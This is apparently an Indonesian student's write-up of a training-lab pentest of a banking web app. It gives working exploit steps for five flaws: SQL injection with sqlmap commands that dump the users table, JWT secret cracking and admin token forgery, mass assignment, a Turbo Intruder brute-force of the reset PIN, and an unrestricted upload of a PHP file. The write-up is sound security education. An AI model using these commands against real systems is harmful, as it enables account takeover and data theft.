July 25, 2026
Real Web Vulnerabilities in a Banking Lab (3 Critical, 2 High)
Disclaimer

By Rona Ega Kharisma
5 min read
Disclaimer
Seluruh pengujian pada artikel ini dilakukan secara legal sebaga peserta Batch 27 pada lingkungan lab yang memang disediakan untuk pembelajaran keamanan aplikasi. Artikel ini bertujuan untuk edukasi mengenai bagaimana kerentanan ditemukan, dampaknya, dan bagaimana developer dapat mencegahnya. Tidak ada eksploitasi yang dilakukan terhadap sistem tanpa izin.
Pendahuluan
Pada mini exam kali ini saya menguji sebuah aplikasi web bertema perbankan dan berhasil mengidentifikasi lima vulnerability, terdiri dari:
- 3 Critical
- 2 High
Temuan tersebut meliputi berbagai kategori, mulai dari Injection, Authentication, Access Control, Business Logic hingga File Upload.
Target Lab
Kategori aplikasi: Banking Web Application
Link target: http://194.233.89.48:5000/
Tools yang digunakan:
- Burp Suite
- SQLMap
- jwt_tool
- Turbo Intruder
- Chrome
- Ubuntu
1. SQL Injection pada Login (Critical)
Deskripsi
Parameter username pada endpoint login tidak melakukan sanitasi input maupun menggunakan parameterized query.
Akibatnya, input pengguna dapat mengubah query SQL yang dijalankan server.
Melalui pengujian menggunakan sqlmap, saya berhasil:
- Mengidentifikasi DBMS
- Melihat daftar database
- Mengenumerasi tabel
- Melakukan dump data pada tabel users
Eksploitasi
Langkah 1 Masukkan pada field username:
admin'OR'1'='1'--admin'OR'1'='1'--isi apa saja untuk password
Langkah 2 Simpan request login dari burp dengan nama "login.req". Eksekusi sqlmap di folder file login.req tersimpan menggunakah command:
sqlmap -r login.req \
-p username \
--batch \
--dbs \
--ignore-code 500,401 \
--risk 3sqlmap -r login.req \
-p username \
--batch \
--dbs \
--ignore-code 500,401 \
--risk 3sehingga muncul hasil:
Langkah 3 Telusuri lebih lanjut database "public":
sqlmap -r login.req \
-p username \
-D public \
--tables \
--batch \
--ignore-code 500,401 \
--risk 3sqlmap -r login.req \
-p username \
-D public \
--tables \
--batch \
--ignore-code 500,401 \
--risk 3sehingga muncul:
Langkah 4 Lakukan dump tabel:
sqlmap -r login.req \
-p username \
-D public \
-T users \
--dump \
--batch \
--ignore-code 500,401 \
--risk 3sqlmap -r login.req \
-p username \
-D public \
-T users \
--dump \
--batch \
--ignore-code 500,401 \
--risk 3sehingga muncul:
Dampak
Jika terjadi pada sistem nyata, attacker dapat:
- Membaca data pengguna
- Bypass login
- Mengambil kredensial
- Memodifikasi data
- Menghapus data apabila database memiliki hak akses tulis
Pembelajaran
Walaupun SQL Injection merupakan vulnerability yang sudah lama dikenal, kenyataannya vulnerability ini masih sering ditemukan pada aplikasi yang tidak menggunakan prepared statement.
2. JWT Token Manipulation (Weak Secret) (Critical)
Deskripsi
Aplikasi menggunakan JWT dengan algoritma HS256.
Masalahnya bukan pada algoritmanya, melainkan secret key yang terlalu lemah sehingga dapat ditemukan menggunakan wordlist.
Setelah secret diketahui, JWT dapat ditandatangani ulang menggunakan payload yang telah dimodifikasi.
Eksploitasi
Langkah 1
Buka Developer Tools (F12) atau Burp Suite. Salin token dari request.
Langkah 2 Eksekusi:
export TOKEN='<cookie>'
python3 jwt_tool.py \
"$TOKEN" \
-C \
-d /usr/share/wordlists/rockyou.txtexport TOKEN='<cookie>'
python3 jwt_tool.py \
"$TOKEN" \
-C \
-d /usr/share/wordlists/rockyou.txtdari sini akan ketemu "secret123".
Langkah 3 Re-sign token menggunakan command:
python3 jwt_tool.py \
"$TOKEN" \
-T \
-S hs256 \
-p secret123python3 jwt_tool.py \
"$TOKEN" \
-T \
-S hs256 \
-p secret123Ketika daftar pilihan pertama ketik "0" dan tekan enter. Ketika daftar kedua muncul pilih "is_admin" dan ganti valuenya menjadi "true". Setelah itu, salin token yang baru dibuat.
Langkah 4 Refresh page dengan mengganti value token dengan token yang baru dibuat.
Dampak
Attacker dapat:
- Menjadi administrator
- Mengubah identitas user
- Memalsukan token
- Melakukan privilege escalation
Pembelajaran
JWT bukan berarti aman secara otomatis.
Security JWT sepenuhnya bergantung pada:
- Secret yang kuat
- Validasi claim
- Implementasi server
3. Privilege Escalation via Registration & Balance Manipulation (Critical)
Deskripsi
Endpoint registrasi menerima seluruh field JSON tanpa melakukan whitelist.
Akibatnya saya dapat menambahkan field yang seharusnya hanya boleh diatur server.
Misalnya:
- is_admin
- balance
Eksploitasi
Langkah 1 Aktifkan intercept di Burp Suite dan lakukan registrasi seperti biasa/
Langkah 2 Tambahkan di bagian body request "is_admin": true & "balance": 1000000 sehingga:
{
"username":"<username>",
"password":"<password>",
"is_admin": true, # tambahan payload
"balance": 1000000 # tambahan payload
}{
"username":"<username>",
"password":"<password>",
"is_admin": true, # tambahan payload
"balance": 1000000 # tambahan payload
}Langkah 3 Forward semua request. Masuk dan lihat hasilnya
Dampak
Vulnerability ini memungkinkan:
- Privilege Escalation
- Money Creation
- Business Logic Abuse
Pembelajaran
Developer seharusnya hanya menerima field yang memang diperbolehkan.
Jangan pernah melakukan binding seluruh body request secara langsung ke object database.
4. Weak Password Reset (High)
Deskripsi
Fitur reset password menggunakan PIN numerik.
Namun endpoint reset password tidak memiliki:
- Rate Limiting
- Account Lockout
- CAPTCHA
Akibatnya seluruh kombinasi PIN dapat dicoba secara otomatis.
Eksploitasi
Langkah 1 Minta reset password.
Langkah 3 Isi bagian PIN menggunakan input apapun (4 digit). Aktifkan intercept di Burp Suite dan kirim requestnya.
Langkah 3 Di bagian request, highlight hanya pada 4 digit PIN yang kita kirim tadi dan klik kanan -> Extensions -> buka Turbo Intruder. Masukkan kode di bawah ini dan klik "Attack":
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=20,
pipeline=False
)
for i in range(1000):
engine.queue(target.req, str(i).zfill(3))
def handleResponse(req, interesting):
if b"Password has been reset successfully" in req.response:
table.add(req)def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=20,
pipeline=False
)
for i in range(1000):
engine.queue(target.req, str(i).zfill(3))
def handleResponse(req, interesting):
if b"Password has been reset successfully" in req.response:
table.add(req)dari sini, akan diketahui PIN yang valid untuk penggantian password.
Dampak
Attacker dapat melakukan:
- Account Takeover
- Mengambil alih akun administrator
- Mengakses data korban
Pembelajaran
Authentication bukan hanya soal password.
Mekanisme reset password sering menjadi target utama attacker apabila tidak memiliki proteksi brute force.
5. Unrestricted File Upload (High)
Deskripsi
Endpoint upload profile picture tidak melakukan validasi jenis file.
Server menerima file selain gambar dan menyimpannya pada direktori yang dapat diakses.
Eksploitasi
Langkah 1 Siapkan file uji dengan nama "picture.php" dan isi dengan payload:
<?php
echo "PHP Version: " . phpversion();
?><?php
echo "PHP Version: " . phpversion();
?>
Langkah 2 Di halaman dashboard klik unggah foto sehingga mendapat:
Dampak
Apabila dikombinasikan dengan konfigurasi server yang tidak aman, vulnerability seperti ini dapat berkembang menjadi dampak yang jauh lebih serius, misalnya penyalahgunaan file yang diunggah.
Pembelajaran
File Upload adalah salah satu fitur yang paling sering diremehkan.
Padahal validasi harus dilakukan terhadap:
- Extension
- MIME Type
- Magic Number
- Lokasi penyimpanan
- Hak eksekusi file
Penutup
Lima vulnerability tersebut menunjukkan bahwa satu aplikasi dapat memiliki berbagai jenis kelemahan dengan akar penyebab yang berbeda.
Bagi developer, keamanan bukan hanya menambahkan validasi input, tetapi juga memastikan bahwa setiap fitur memiliki kontrol akses, validasi bisnis, dan mekanisme autentikasi yang tepat.
Bagi saya sendiri, mini exam ini menjadi latihan yang sangat baik untuk mengasah metodologi penetration testing, mulai dari reconnaissance, eksploitasi pada lingkungan lab, hingga penyusunan laporan yang terstruktur.
Semoga write-up ini bermanfaat bagi siapa pun yang sedang belajar web security maupun penetration testing.
Sources:
- http://194.233.89.48:5000/walkthrough/
- https://portswigger.net/web-security/sql-injection
- https://portswigger.net/web-security/sql-injection/cheat-sheet
- https://portswigger.net/web-security/jwt
- https://github.com/ticarpi/jwt_tool
- https://portswigger.net/web-security/access-control
- https://portswigger.net/web-security/logic-flaws
- https://portswigger.net/web-security/authentication
- Kesalahan konfigurasi upload file